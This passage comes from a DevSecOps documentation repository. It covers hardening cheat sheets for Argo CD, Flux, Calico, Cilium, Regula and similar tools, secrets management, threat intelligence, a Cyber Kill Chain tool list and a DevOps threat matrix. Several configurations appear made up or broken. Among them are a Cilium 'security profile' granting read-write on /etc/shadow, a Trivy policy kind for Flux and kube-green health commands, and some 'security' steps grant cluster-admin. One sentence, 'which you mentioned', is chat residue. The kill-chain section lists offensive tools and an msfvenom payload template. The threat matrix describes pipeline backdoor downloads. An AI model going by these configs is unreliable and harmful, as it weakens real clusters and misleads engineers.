"your-user-id", "key": "your-api-key", "created_at": "2022-01-01T00:00:00Z" } }' \ https://your-api-umbrella-host/admin/api/api_keys ``` ## Argo CD ### Enable authentication for Argo CD using OIDC (OpenID Connect) ``` # rbac-config.yaml apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: argocd-admin namespace: argocd subjects: - kind: User name: apiGroup: rbac.authorization.k8s.io roleRef: kind: ClusterRole name: admin apiGroup: rbac.authorization.k8s.io ``` ### Enable SSL/TLS encryption for Argo CD ``` # values.yaml server: config: tls.enabled: true tls.insecure: false tls.crt: | -----BEGIN CERTIFICATE----- -----END CERTIFICATE----- tls.key: | -----BEGIN PRIVATE KEY----- -----END PRIVATE KEY----- ``` ### Restrict access to Argo CD's API server using network policies ``` # network-policy.yaml apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: argocd-network-policy namespace: argocd spec: podSelector: {} ingress: - from: - namespaceSelector: matchLabels: name: ``` ### Enable Webhook authentication for Argo CD ``` # values.yaml server: config: repository.credentials: - name: type: helm helm: url: auth: webhook: url: secret: ``` ## flux2 ### Enable RBAC (Role-Based Access Control) for Flux ``` # flux-system-rbac.yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: flux-system-rbac subjects: - kind: ServiceAccount name: flux-system namespace: flux-system roleRef: kind: ClusterRole name: cluster-admin apiGroup: rbac.authorization.k8s.io ``` ### Enable image scanning with Trivy for Flux workloads ``` # flux-system-policies.yaml apiVersion: image.toolkit.fluxcd.io/v1alpha2 kind: Policy metadata: name: flux-system-policies namespace: flux-system spec: policyType: tag repositories: - name: imagePolicy: name: trivy enabled: true args: - "--severity" - "HIGH,CRITICAL" ``` ### Use GitOps for managing Kubernetes secrets with Flux ``` # secrets.yaml apiVersion: v1 kind: Secret metadata: name: namespace: stringData: : ``` ### Configure multi-tenancy with Flux using Git branches ``` # flux-system-repo.yaml apiVersion: source.toolkit.fluxcd.io/v1alpha2 kind: GitRepository metadata: name: flux-system-repo namespace: flux-system spec: url: ref: branch: interval: 1m ``` ### Enable cluster auto-scaling using Flux and Kubernetes Horizontal Pod Autoscaler (HPA) ``` # flux-system-autoscaler.yaml apiVersion: autoscaling/v2beta2 kind: HorizontalPodAutoscaler metadata: name: namespace: spec: scaleTargetRef: apiVersion: apps/v1 kind: Deployment name: minReplicas: maxReplicas: metrics: - type: Resource resource: name: cpu target: type: Utilization averageUtilization: ``` ## GoCD ### Enable SSL/TLS for GoCD Server ``` /path/to/keystore.jks keystore_password key_password ``` ### Implement Role-Based Access Control (RBAC) ``` curl -u : -H 'Content-Type: application/json' -X POST \ -d '{ "name": "Developers", "users": ["user1", "user2"], "pipelines": { "read": ["pipeline1", "pipeline2"] } }' \ http://localhost:8153/go/api/admin/security/roles ``` ### Configure LDAP or Active Directory Integration ``` (uid={0}) ou=users,dc=example,dc=com uid uid=admin,ou=users,dc=example,dc=com password ``` ### Implement Two-Factor Authentication (2FA) ``` ClientId your_client_id ClientSecret your_client_secret ``` ### Enable Security Scanning of GoCD Agents ``` pipeline: stages: - name: Build # Build stage configuration - name: SonarQube jobs: - name: RunSonarQube tasks: - exec: sonar-scanner ``` ## Calico ### Enable Calico network policies ``` kubectl apply -f calico-policy.yaml ``` ### Check Calico network policies ``` kubectl get networkpolicies ``` ### View Calico logs ``` kubectl logs -n kube-system ``` ### Network Policy for Denying All Ingress Traffic: ``` apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: deny-all-ingress spec: podSelector: {} policyTypes: - Ingress ``` ### Network Policy for Allowing Ingress Traffic from a Specific Namespace: ``` apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: allow-ingress-from-namespace spec: podSelector: {} ingress: - from: - namespaceSelector: matchLabels: name: allowed-namespace ``` ### Network Policy for Allowing Egress Traffic to a Specific IP or IP Range: ``` apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: allow-egress-to-ip-range spec: podSelector: {} egress: - to: - ipBlock: cidr: 10.0.0.0/24 ``` ### Network Policy for Enforcing Pod Labels: ``` apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: enforce-pod-labels spec: podSelector: matchLabels: app: backend policyTypes: - Ingress ingress: - from: - podSelector: matchLabels: app: frontend ``` ### Network Policy for Enforcing eBPF-based Network Security: ``` apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: enforce-ebpf-security spec: podSelector: {} egress: - to: - namespaceSelector: matchLabels: calico/knsname: kube-system ingress: - from: - namespaceSelector: matchLabels: calico/knsname: kube-system ``` ## AWS CloudFormation Guard ### Create a Guard rule file ``` cfn-guard init .ruleset ``` ### Evaluate a CloudFormation template against Guard rules ``` cfn-guard validate -t -r ``` ### Generate a template with Guard conditions ``` cfn-guard generate -t -r -o ``` ### Enable verbose output for evaluation results ``` cfn-guard validate -t -r --verbose ``` ### Run Guard with custom configuration ``` cfn-guard validate -t -r --config ``` ### Check if an EC2 instance type is allowed: ``` rules: - id: ec2InstanceTypeRule description: Check allowed EC2 instance types matches: - resources: - MyEC2Instance properties: instanceType: notEquals: t2.micro ``` ### Enforce tagging for an S3 bucket: ``` rules: - id: s3BucketTaggingRule description: Enforce tagging for S3 buckets matches: - resources: - MyS3Bucket properties: tags: notPresent: "my-tag" ``` ### Ensure a specific VPC CIDR range is used: ``` cfn-guard validate -t -r --config ``` ### Ensure a specific VPC CIDR range is used: ``` rules: - id: vpcCIDRRule description: Ensure a specific VPC CIDR range is used matches: - resources: - MyVPC properties: cidrBlock: equals: 10.0.0.0/16 ``` ### Restrict the use of insecure security groups: ``` rules: - id: securityGroupRule description: Restrict the use of insecure security groups matches: - resources: - MySecurityGroup properties: securityGroupIngress: notMatches: - cidrIp: 0.0.0.0/0 ipProtocol: -1 ``` ### Ensure encryption is enabled for an RDS instance: ``` rules: - id: rdsEncryptionRule description: Ensure encryption is enabled for RDS instances matches: - resources: - MyRDSInstance properties: storageEncrypted: equals: true ``` ## kube-green ### Check the health of a specific resource in the cluster ``` kube-green check RESOURCE_NAME ``` ### Check the health of all resources in a specific namespace ``` kube-green check -n NAMESPACE ``` ### Check the health of a specific resource with a custom timeout ``` kube-green check --timeout TIMEOUT RESOURCE_NAME ``` ### Get detailed information about the health status of a specific resource ``` kube-green describe RESOURCE_NAME ``` ### Watch the health status of a specific resource type in the cluster in real-time ``` kube-green watch --kind RESOURCE_TYPE ``` ### Monitor the health status of resources in a Kubernetes namespace and send notifications to a Slack channel: ``` kube-green monitor --namespace --notifications slack --slack-channel #channel-name ``` ### Monitor the health status of resources in a Kubernetes namespace and send notifications to a Microsoft Teams channel: ``` kube-green monitor --namespace --notifications teams --teams-channel #channel-name ``` ## Regula ### Scan a directory for compliance violations ``` regula scan -d ``` ### Scan a specific file for compliance violations ``` regula scan -f ``` ### Scan a remote repository for compliance violations ``` regula scan -r ``` ### Scan a Terraform plan file for compliance violations ``` regula scan -p ``` ### Scan a directory and output results in JSON format ``` regula scan -d --output json ``` ### Check for unrestricted S3 bucket policies: ``` name: S3 bucket policy should not be unrestricted resource_type: aws_s3_bucket_policy violating_actions: - "*" ``` ### Ensure that security groups do not allow unrestricted ingress traffic: ``` name: Security groups should not allow unrestricted ingress traffic resource_type: aws_security_group_rule violating_actions: - ingress violating_fields: - source_security_group_id: "sg-00000000" - cidr_blocks: - "0.0.0.0/0" ``` ### Enforce encryption for EBS volumes: ``` name: EBS volumes should be encrypted resource_type: aws_ebs_volume violating_actions: - create - modify violating_fields: - encrypted: false ``` ### Check for publicly accessible EC2 instances: ``` name: EC2 instances should not be publicly accessible resource_type: aws_instance violating_fields: - public_ip_address: "*" ``` ### Ensure IAM policies do not have wildcard resource permissions: ``` name: IAM policies should not have wildcard resource permissions resource_type: aws_iam_policy violating_fields: - resources: - "*" ``` ## eBPF (extended Berkeley Packet Filter) ### Check Cilium installation ``` kubectl get pods -n kube-system ``` ### View Cilium agent logs ``` kubectl logs -n kube-system -l k8s-app=cilium ``` ### View Cilium operator logs ``` kubectl logs -n kube-system -l name=cilium-operator ``` ### Describe NetworkPolicy ``` kubectl describe networkpolicy ``` ### Apply L7 (Layer 7) Policy ``` kubectl apply -f ``` ### List L7 Policies ``` kubectl get l7policy ``` ### Update Cilium ``` helm upgrade cilium cilium/cilium --version ``` ### Enforce Network Policies: ``` apiVersion: cilium.io/v2 kind: CiliumNetworkPolicy metadata: name: web-policy spec: endpointSelector: matchLabels: app: web ingress: - fromEndpoints: - matchLabels: app: db egress: - toEndpoints: - matchLabels: app: internet ``` ### Enable Encryption for Cilium Communication: ``` apiVersion: cilium.io/v2 kind: CiliumClusterwideNetworkPolicy metadata: name: encryption-policy spec: endpointSelector: matchLabels: app: cilium ingress: - fromEndpoints: - matchLabels: app: cilium egress: - toEndpoints: - matchLabels: app: cilium egressEncryption: - identity: identityName: cilium identityIssuer: self identityPrivateKey: ``` ### Implement DNS Policy ``` apiVersion: cilium.io/v2 kind: CiliumNetworkPolicy metadata: name: dns-policy spec: endpointSelector: matchLabels: app: dns-server ingress: - fromEndpoints: - matchLabels: app: web dns: allowNonCiliumDNSResponse: false ``` ### Enable HTTP Inspection ``` apiVersion: cilium.io/v2 kind: CiliumNetworkPolicy metadata: name: http-inspection spec: endpointSelector: matchLabels: app: web ingress: - fromEndpoints: - matchLabels: app: internet http: - match: - method: GET path: /api/secret inspectResponse: true ``` ### Implement Security Profiles ``` apiVersion: cilium.io/v2 kind: CiliumClusterwideNetworkPolicy metadata: name: security-profile spec: endpointSelector: matchLabels: app: cilium securityProfile: capabilities: - NET_ADMIN - SYS_MODULE fileAccess: - path: /etc/shadow access: rw ``` ================================================ FILE: docs/production/production.md ================================================ --- layout: default title: Production nav_order: 5 has_children: true permalink: docs/production --- # Production {: .no_toc } {: .fs-6 .fw-300 } ================================================ FILE: docs/production/secrets-management.md ================================================ --- layout: default title: Secrets Management parent: Production --- {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- # Secrets Management {: .no_toc } Secrets management refers to the process of securely storing, managing, and accessing sensitive information, such as passwords, API keys, and other credentials. Secrets are a critical component of modern applications, and their secure management is essential to ensure the security and integrity of the application. Secrets management typically involves the use of specialized tools and technologies that provide a secure and centralized location for storing and managing secrets. These tools often use strong encryption and access control mechanisms to protect sensitive information from unauthorized access. Some of the key features of secrets management tools include: 1. Secure storage: Secrets management tools provide a secure location for storing sensitive information, typically using strong encryption and access control mechanisms to ensure that only authorized users can access the information. 2. Access control: Secrets management tools allow administrators to define access control policies and roles that govern who can access specific secrets and what actions they can perform. 3. Auditing and monitoring: Secrets management tools provide auditing and monitoring capabilities that allow administrators to track who accessed specific secrets and when, providing an audit trail for compliance and security purposes. 4. Integration with other tools: Secrets management tools can be integrated with other DevOps tools, such as build servers, deployment tools, and orchestration frameworks, to provide seamless access to secrets during the application lifecycle. ## Infisical An open-source, all-in-one secrets management platform that simplifies secure secret sharing across development teams and integrates with modern development workflows and cloud services. ``` infisical secrets set DB_SECRETS='{"username":"admin","password":"s3cret"}' --path="myapp/database" ``` ## Hashicorp Vault A highly secure and scalable secrets management solution that supports a wide range of authentication methods and storage backends. ``` vault kv put secret/myapp/config username="admin" password="s3cret" API_key="123456789" ``` ## AWS Secrets Manager A fully managed secrets management service provided by Amazon Web Services. ``` aws secretsmanager create-secret --name myapp/database --secret-string '{"username":"admin","password":"s3cret"}' ``` ## Azure Key Vault A cloud-based secrets management service provided by Microsoft Azure. ``` az keyvault secret set --name myapp/config --value s3cret ``` ## Git-crypt A command-line tool that allows you to encrypt files and directories within a Git repository. ``` git-crypt init && git-crypt add-gpg-user user@example.com ``` ## Blackbox A command-line tool that allows you to store and manage secrets in Git repositories using GPG encryption. ``` blackbox_initialize && blackbox_register_new_file secrets.txt ``` ================================================ FILE: docs/production/threat-intelligence.md ================================================ --- layout: default title: Threat Intelligence parent: Production --- {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- # Threat Intelligence {: .no_toc } Threat intelligence is the process of gathering and analyzing information about potential and existing cybersecurity threats, such as malware, phishing attacks, and data breaches. The goal of threat intelligence is to provide organizations with actionable insights that can help them identify and mitigate potential security risks before they can cause harm. In the context of DevSecOps, threat intelligence is an important component of a comprehensive security strategy. By gathering and analyzing information about potential security threats, organizations can better understand the security risks that they face and take steps to mitigate them. This can include implementing security controls and countermeasures, such as firewalls, intrusion detection systems, and security information and event management (SIEM) systems, to protect against known threats. Threat intelligence can also be used to enhance other DevSecOps practices, such as vulnerability management and incident response. By identifying potential vulnerabilities and threats in real-time, security teams can take swift action to remediate issues and prevent security incidents from occurring. Some of the key benefits of threat intelligence in DevSecOps include: 1. Improved threat detection: Threat intelligence provides organizations with the information they need to detect potential security threats before they can cause harm. 2. Better decision-making: By providing actionable insights, threat intelligence helps organizations make informed decisions about their security posture and response to potential threats. 3. Proactive threat mitigation: Threat intelligence enables organizations to take a proactive approach to threat mitigation, allowing them to stay ahead of emerging threats and reduce their risk of being compromised. 4. Enhanced incident response: Threat intelligence can be used to enhance incident response, allowing organizations to quickly and effectively respond to security incidents and minimize their impact. ## PCR * **Priority:** The priority of the Post Collection Request (PCR) should be determined by considering multiple factors and information. It is recommended to establish priority based on a combination of several criteria. One important factor to consider is the customer who is requesting the intelligence. For instance, if the request comes from the Chief Information Security Officer (CISO), it would be considered more significant compared to a request from a senior network engineer. Furthermore, priority can be influenced by the specific industry vertical being focused on. For example, if the request is made by a CTI analyst working for a bank, the collection manager would likely prioritize intelligence collection based on the common threats faced by the banking industry. By taking into account these various factors, the PCR can be assigned the appropriate level of priority. When determining the priority of intelligence collection, there are several key factors to consider. These include the customer's requirements, the desired output or outcome of the collection, the timing interval for the request, and the feasibility of carrying out the request with the available collection systems. While there is no one-size-fits-all approach to priority, these considerations play a crucial role in determining the order in which requests are addressed. In later chapters, the topic of priority will be explored further, particularly in relation to surveying the specific needs of an organization and its collection operations. * **Key:** The key serves as a distinct identifier that can be utilized in conjunction with other systems for reference and tracking purposes. It can be generated automatically, like a primary key, or combined with unique identifiers to provide additional information about the type or priority of the collection. By examining the expanded key, such as PCR-001-P-BIN-FIN-P1, an organization can easily discern the nature and significance of the collection. ## The collection operations life cycle Effective intelligence-gathering requires careful planning, taking into account established collection priorities, special requests for information (RFIs), and regular administration of collection operations. Proper planning ensures that data is collected in a way that aligns with the organization's intelligence-gathering needs. ### People To meet the organization's needs, it is important to have a defined Priority Collection Requirement (PCR) and assess whether the organization has the right personnel to execute the collection. Personnel evaluation in this context can be divided into three categories: technical skills, language proficiency, and subject matter expertise (SME) focus area. These categories help the collection manager determine if the personnel have the necessary qualifications for effective collection. * Technical discipline: In many cases, collection operations can be effectively carried out with the right technical skills, particularly for passive and hybrid collection operations. These types of operations primarily rely on technical expertise to gather information, rather than actively engaging with vetted-access communities or developing sources through direct engagement. The collection manager's main consideration is to ensure that the personnel assigned to the collection possess the necessary technical skills to acquire the desired data. * Language requirement: Language skills can play a vital role in collection operations for several reasons. Firstly, if the information being collected is in a specific language, having someone who can read and interpret that language is essential to extract the relevant details. Additionally, language skills become necessary when conducting collection efforts in vetted-access communities that primarily communicate in a particular language. Moreover, these skills are crucial when engaging actively with sources or attempting to recruit individuals. If the intelligence gathering requires a regional focus, collection personnel may need to be native speakers with cultural and regional understanding to effectively carry out the operations. * SME focus area: In addition to technical and language skills, the collection manager should also assess whether the collector needs to have subject matter expertise (SME) in a specific threat area. It is common for individuals in the CTI industry to specialize in areas such as ransomware, banking trojans, nation-state threats, or advanced persistent threats (APTs). If a collector possesses specialized expertise in a particular threat area, it is advisable to assign them to the collection operation rather than someone with only general knowledge of that threat type. This ensures that the collection efforts benefit from the in-depth understanding and insights provided by an SME. ### Process Once the collection manager has identified the suitable personnel for a collection operation, they should collaborate with the collection team to develop the operational plan. This involves considering several key factors that are crucial for a successful intelligence gathering. These factors will be discussed in the following sections. * OPSEC: we talked about the The OPSEC (Operations Security) process is of utmost importance and should be ingrained in the culture of the group. During operations planning, the collection manager should go through the OPSEC processes and procedures with the collection team. This ensures that the team understands the significance of OPSEC and prevents them from becoming complacent or feeling overly secure during the execution of the operation. By incorporating OPSEC into the planning phase, the team remains vigilant and maintains a strong focus on protecting sensitive information and maintaining operational security. * Review any current intelligence: During the development of the operations plan, it is important for the collection manager and team to thoroughly review all intelligence holdings related to the desired data and its source. This review provides valuable information about the collection process, the specific environment where the collection will take place, and details about the source of information. By conducting this review, the collection team gains a deeper understanding of the collection requirements and can effectively tailor their approach to ensure successful data acquisition. * Be cognizant of operation branches or sequels: When planning collection operations, it is crucial to consider the history of previous data collection from a specific source location. This history can provide valuable insights into the operations of the collection team and the story it tells. For example, it may reveal patterns such as repeated use of certain IP ranges or VPNs, which could indicate tracking of user information. In more complex scenarios, such as collecting from dark markets or hacking forums, the collection team must carefully assess their history in those locations. They need to consider factors such as existing personas, any incidents that may have compromised their identities, and the potential for setting up multiple collection operations. Understanding the history of collection from a source location is essential for effective operations planning. ### Tools and technology After ensuring the availability of suitable personnel and conducting thorough planning, the collection manager should focus on the technology and infrastructure required for the operations plan. This includes evaluating the necessary collection tools and systems. Collection tools refer to the specific software or hardware used to gather intelligence, while collection systems encompass the broader infrastructure needed to support operational security (OPSEC) and collection requirements. It is essential for the collection manager to assess whether the team has access to the appropriate technologies and infrastructure to effectively carry out the collection activities. ## Lockheed's Martin Cyber Kill Chain ### Reconnaissance: * Example: An attacker gathers information about the target organization using publicly available sources, social media, or other reconnaissance techniques. * Cheatsheet commands and tools: * WHOIS lookup: `whois ` * DNS enumeration: `nslookup ` * Google dorking: `site:` ### Weaponization: * Example: The attacker crafts or obtains a malicious payload, such as a malware or exploit, to deliver to the target. * Cheatsheet commands and tools: * Metasploit Framework: `msfvenom -p -f -o ` * Veil-Evasion: `veil-evasion` ### Delivery: * Example: The attacker delivers the weaponized payload to the target through various methods, such as email attachments, compromised websites, or social engineering. * Cheatsheet commands and tools: * Phishing email generation: GoPhish, SET * Malicious website hosting: Apache, Nginx * Exploit kits: Blackhole, Angler ### Exploitation: * Example: The attacker takes advantage of vulnerabilities in the target's system or applications to gain unauthorized access. * Cheatsheet commands and tools: * Exploitation frameworks: Metasploit, ExploitDB * Exploit development: Python, Ruby, C/C++ * Web application scanners: Nessus, Nikto ### Installation: * Example: The attacker installs backdoors, remote access tools, or other malicious software to establish persistence and maintain control over the compromised system. * Cheatsheet commands and tools: * Remote administration tools: Netcat, TeamViewer * Remote access trojans (RATs): DarkComet, Poison Ivy * Fileless malware: PowerShell, WMI ### Command and Control (C2): * Example: The attacker establishes communication channels with the compromised system to remotely control and manage the attack. * Cheatsheet commands and tools: * C2 frameworks: Cobalt Strike, Metasploit * Encrypted communication: TOR, SSL/TLS * DNS-based communication: Dnsmasq, Dnscat2 ### Actions on Objectives: * Example: The attacker achieves their intended goals, which could include data theft, privilege escalation, further network compromise, or disruption of services. * Cheatsheet commands and tools: * Data exfiltration: FTP, SCP, Steganography * Privilege escalation: sudo, PowerSploit * Network propagation: EternalBlue, WannaCry ### Lateral Movement: * Example: The attacker moves laterally within the network, searching for additional targets or systems to compromise. * Cheatsheet commands and tools: * Network scanning: Nmap, Masscan * Credential theft: Mimikatz, Responder * Pass-the-Hash: Psexec, PsExecWrapper ## DevOps Threat Matrix A DevOps Threat Matrix is a comprehensive framework or resource that identifies and categorizes potential security threats and risks associated with implementing DevOps practices. It aims to provide organizations with insights into the security challenges they may encounter while adopting a DevOps approach and offers guidance on mitigating these risks. The Microsoft Security Blog, which you mentioned, likely provides detailed information on their DevOps Threat Matrix. It may cover different threat categories such as: * Insider Threats: This includes potential risks arising from employees or individuals with authorized access to systems, data, or infrastructure. * External Attacks: These are threats posed by external entities, such as hackers, who attempt to exploit vulnerabilities in the DevOps environment. * Data Loss and Leakage: This category encompasses risks related to the unauthorized disclosure or loss of sensitive information during the DevOps pipeline. * Supply Chain Attacks: These threats involve compromising the software supply chain, targeting third-party libraries, dependencies, or build processes. * Infrastructure Vulnerabilities: This focuses on weaknesses within the infrastructure components of the DevOps environment, such as misconfigurations or insecure cloud services. * Compliance and Regulatory Risks: DevOps practices need to align with industry standards and regulatory requirements. Failure to comply may lead to legal and financial consequences. The DevOps Threat Matrix is likely to provide organizations with actionable recommendations, best practices, and security controls that can be implemented at various stages of the DevOps lifecycle. This could include secure coding practices, continuous monitoring, vulnerability scanning, access controls, and incident response procedures. ### Initial access In the context of the DevOps Threat Matrix, "Initial Access" refers to a category of threats that focus on unauthorized entry points or mechanisms through which an attacker gains initial access to a system or network. It involves the exploitation of vulnerabilities or weaknesses in the DevOps infrastructure, applications, or processes to establish a foothold for further malicious activities. #### SCM authentication ![](../../../assets/images/scm.png) SCM authentication refers to the process of authenticating and accessing an organization's source code management (SCM) system. It typically involves using authentication methods such as personal access tokens (PATs), SSH keys, or other allowed credentials. However, attackers may attempt to exploit this authentication process, gaining unauthorized access to the SCM by employing techniques like phishing attacks. This can pose a significant threat to the organization's source code and sensitive information. To mitigate this risk, it's crucial to be aware of potential attacks and implement robust security measures. #### CI/CD service authentication ![](../../../assets/images/cicd-initial.drawio.png) CI/CD service authentication refers to the process of authenticating and accessing the Continuous Integration/Continuous Deployment (CI/CD) service used by an organization for automating software delivery pipelines. Attackers may attempt to exploit vulnerabilities in the authentication process to gain unauthorized access to the CI/CD service, which can lead to potential compromises in the organization's DevOps environment. To mitigate this risk, it is important to employ strong authentication methods and implement security measures to protect the CI/CD service from unauthorized access. #### Organization’s public repositories ![](../../../assets/images/github.drawio.png) Access to an organization's public repositories with CI/CD capabilities can pose a security risk if not properly secured. Attackers may attempt to gain unauthorized access to these repositories and exploit their CI/CD capabilities to execute malicious code or disrupt the organization's pipelines. To mitigate this risk, organizations should implement strong access controls, monitor repository activity, and ensure secure CI/CD configurations. #### Endpoint compromise ![](../../../assets/images/endpoint.drawio.png) Endpoint compromise refers to a scenario where an attacker gains access to an organization's resources by compromising a developer's workstation or endpoint device. Once an endpoint is compromised, the attacker can leverage the compromised workstation to gain unauthorized access to the organization's source code management (SCM), registry, or other critical resources. To mitigate this risk, organizations should implement strong endpoint security measures and follow best practices for securing developer workstations. #### Configured webhooks ![](../../../assets/images/webhook.drawio.png) Configured webhooks can become a potential security risk if not properly secured. Attackers can exploit these webhooks to gain initial access to an organization's network. By triggering requests through the source code management (SCM) system, attackers can potentially gain unauthorized access to services that should not be publicly exposed or might be running outdated and vulnerable software versions within the organization's private network. To mitigate this risk, organizations should implement secure webhook configurations, monitor webhook activity, and apply necessary access controls. ### Execution The execution tactic in the DevOps Threat Matrix refers to the methods used by attackers to gain execution access on pipeline resources, including the pipeline itself or the deployment resources. Attackers may exploit vulnerabilities or employ various techniques to gain unauthorized control over these resources. Understanding these techniques and implementing appropriate security measures is crucial for mitigating the risk of unauthorized execution and maintaining the integrity of the DevOps pipeline. #### Poisoned pipeline execution (PPE) ![](../../../assets/images/ppe.png) Poisoned pipeline execution (PPE) is a technique employed by attackers to inject malicious code into an organization's repository, allowing them to execute unauthorized actions within the repository's CI/CD system. This technique poses a significant threat as it can lead to the execution of malicious code during the CI/CD process, compromising the integrity of the pipeline and potentially allowing further unauthorized access. Understanding and mitigating the risks associated with poisoned pipeline execution is crucial to maintain the security of the CI/CD system. ##### Direct PPE (d-PPE) Direct Poisoned Pipeline Execution (d-PPE) is a technique used by attackers to directly modify the configuration file inside a repository. By injecting malicious commands into the configuration file, the attacker can execute those commands during the pipeline run, potentially compromising the integrity of the pipeline and the associated resources. Mitigating the risk of d-PPE requires implementing secure practices, ensuring strict access controls, and performing thorough validation of configuration files. ##### Indirect PPE (i-PPE) Indirect Poisoned Pipeline Execution (i-PPE) is a technique employed by attackers when they cannot directly modify configuration files or when these changes are not considered during pipeline execution. In such cases, attackers target scripts used by the pipeline, such as make-files, test scripts, build scripts, or other similar files, to inject malicious code. By infecting these scripts, the attacker can execute unauthorized code during the pipeline run, potentially compromising the pipeline and associated resources. To mitigate the risk of i-PPE, it is important to implement secure practices, conduct thorough code reviews, and ensure the integrity of pipeline scripts. ##### Public PPE Public Poisoned Pipeline Execution (Public PPE) refers to scenarios where the pipeline is triggered by an open-source project. In such cases, attackers can exploit the pipeline by employing techniques like Direct Poisoned Pipeline Execution (d-PPE) or Indirect Poisoned Pipeline Execution (i-PPE) on the public repository. By infecting the pipeline in the open-source project, the attacker can execute unauthorized code during the pipeline run, potentially compromising the integrity of the pipeline and the resources it interacts with. To mitigate the risk of Public PPE, it is essential to implement secure practices, conduct thorough code reviews, and monitor the pipeline execution. #### Dependency tampering ![](../../../assets/images/dependency.drawio.png) Dependency tampering is a technique used by attackers to execute malicious code in the DevOps or production environment by injecting harmful code into a repository's dependencies. When these dependencies are downloaded and integrated into the system, the malicious code gets executed, potentially leading to unauthorized access or compromising the integrity of the environment. Preventing and mitigating the risk of dependency tampering requires implementing secure practices, regularly auditing dependencies, and ensuring their integrity. ##### Public dependency confusion Public dependency confusion is a technique employed by attackers where they publish malicious packages with the same name as private packages in public registries. When package-control mechanisms search for packages, they often prioritize public registries, making it possible for the malicious package to be downloaded instead of the intended private package. This technique can lead to the execution of malicious code in the DevOps environment or production environment. Preventing and mitigating the risk of public dependency confusion requires implementing secure practices, verifying package sources, and prioritizing trusted registries. ##### Public package hijack (“repo-jacking”) Public package hijacking, also known as "repo-jacking," involves attackers gaining control of a public package by compromising the maintainer account. This technique can occur when attackers exploit vulnerabilities or weaknesses in the package maintainers' accounts, such as through the exploitation of GitHub's user rename feature. Once in control, attackers can modify the package's code, inject malicious code, or redirect users to malicious resources. Mitigating the risk of public package hijacking requires implementing security measures, regularly monitoring package repositories, and ensuring the integrity of maintainers' accounts. ##### Typosquatting Typosquatting is a technique employed by attackers where they publish malicious packages with names similar to well-known public packages. By creating these deceptive package names, attackers aim to confuse users into inadvertently downloading the malicious packages instead of the intended ones. This technique can lead to the execution of unauthorized or malicious code in the DevOps environment or production environment. Preventing and mitigating the risk of typosquatting requires implementing secure practices, verifying package sources, and educating users about potential risks. #### DevOps resources compromise ![](../../../assets/images/resources.drawio.png) DevOps resources compromise refers to scenarios where attackers target the compute resources used for executing CI/CD agents and other software within the pipeline. By exploiting vulnerabilities in the operating system, agent code, or other software installed on the virtual machines (VMs) or network devices, attackers can gain unauthorized access to the pipeline. This compromise can lead to the execution of unauthorized code, data theft, or disruption of the CI/CD process. To mitigate the risk of DevOps resources compromise, it is crucial to implement security measures, regularly update and patch software, and monitor the infrastructure for suspicious activities. #### Control of common registry ![](../../../assets/images/registry.drawio.png) Control of a common registry refers to a situation where an attacker gains control over a registry used by the organization, allowing them to introduce and execute malicious images or packages within the CI/CD pipeline or production environment. This compromise can lead to the execution of unauthorized or malicious code, data breaches, or disruption of the CI/CD process. Protecting against the control of a common registry requires implementing robust security measures, controlling access to the registry, and monitoring for any suspicious or unauthorized activities. ### Persistence The persistency tactic in the context of DevOps threat matrix refers to techniques employed by attackers to maintain access to a victim's environment even after initial compromise. These techniques allow attackers to persistently control and access the compromised systems, potentially leading to further unauthorized activities, data breaches, or system disruptions. Mitigating the risk of persistency requires implementing strong security practices, conducting regular system audits, and promptly addressing any identified vulnerabilities or unauthorized access. #### Changes in repository ![](../../../assets/images/per-reg.drawio.png) Changes in repository refer to techniques where adversaries exploit the automatic tokens within the CI/CD pipeline to access and push code changes to the repository. By leveraging these tokens, which often have sufficient permissions, attackers can achieve persistency within the environment. This persistence can enable unauthorized code modifications, data exfiltration, or further exploitation of the organization's systems. Preventing and mitigating the risk of changes in the repository requires implementing secure practices, controlling access to tokens, and monitoring repository activities for any suspicious or unauthorized changes. * Change/add scripts in code – we can change some of the initialization scripts/add new scripts, so they download a backdoor/starter for the attacker, so each time the pipeline is executing these scripts, the attacker’s code will be executed too. * Change the pipeline configuration – we can add new steps in the pipeline to download an attacker-controlled script to the pipeline before continuing with the build process. * Change the configuration for dependencies locations – to use attacker-controlled packages. ##### Inject in Artifacts ![](../../../assets/images/per-arti.drawio.png) Injecting code into artifacts involves exploiting the functionality of Continuous Integration (CI) environments that allow the creation and sharing of artifacts between pipeline executions. Attackers can manipulate these artifacts to inject malicious code or files, which can lead to unauthorized code execution or compromise of the CI/CD pipeline. Preventing and mitigating the risk of artifact injection requires implementing security measures, validating artifacts, and monitoring for any suspicious or unauthorized changes. ##### Modify images in registry ![](../../../assets/images/per-img.drawio.png) Modifying images in the registry refers to a technique where an attacker gains access to the image registry used by CI/CD pipelines and manipulates the images stored in the registry. By modifying or planting malicious images, the attacker can ensure that these images are executed by the user's containers, leading to the execution of unauthorized or malicious code within the production environment. Preventing and mitigating the risk of image modification in the registry requires implementing strong security measures, controlling access to the registry, and monitoring for any unauthorized changes. ##### Create service credentials ![](../../../assets/images/per-service.drawio.png) Creating service credentials in the context of DevOps refers to the process of generating and managing authentication credentials for services or applications used within the CI/CD pipeline or infrastructure. Service credentials provide secure access to various resources, such as cloud platforms, databases, or external APIs, and help establish trust and authorization between different components of the DevOps environment. Properly managing service credentials is crucial for maintaining the security and integrity of the DevOps pipeline and ensuring authorized access to sensitive resources. ### Privilege escalation Privilege escalation techniques in the context of DevOps refer to the methods used by an attacker to elevate their privileges within a victim's environment. By gaining higher privileges, the attacker can access more sensitive resources, manipulate configurations, and potentially compromise the entire DevOps infrastructure. Understanding and mitigating privilege escalation risks is crucial to maintaining the security and integrity of the DevOps environment. #### Secrets in private repositories ![](../../../assets/images/priv-pro.drawio.png) The presence of secrets in private repositories poses a significant security risk within the DevOps environment. Attackers who have gained initial access can leverage this access to scan private repositories in search of hidden secrets. Private repositories are typically considered more secure as they are inaccessible from outside the organization. However, if sensitive information such as API keys, passwords, or cryptographic keys are mistakenly committed or stored within these repositories, they can be exposed to unauthorized individuals. 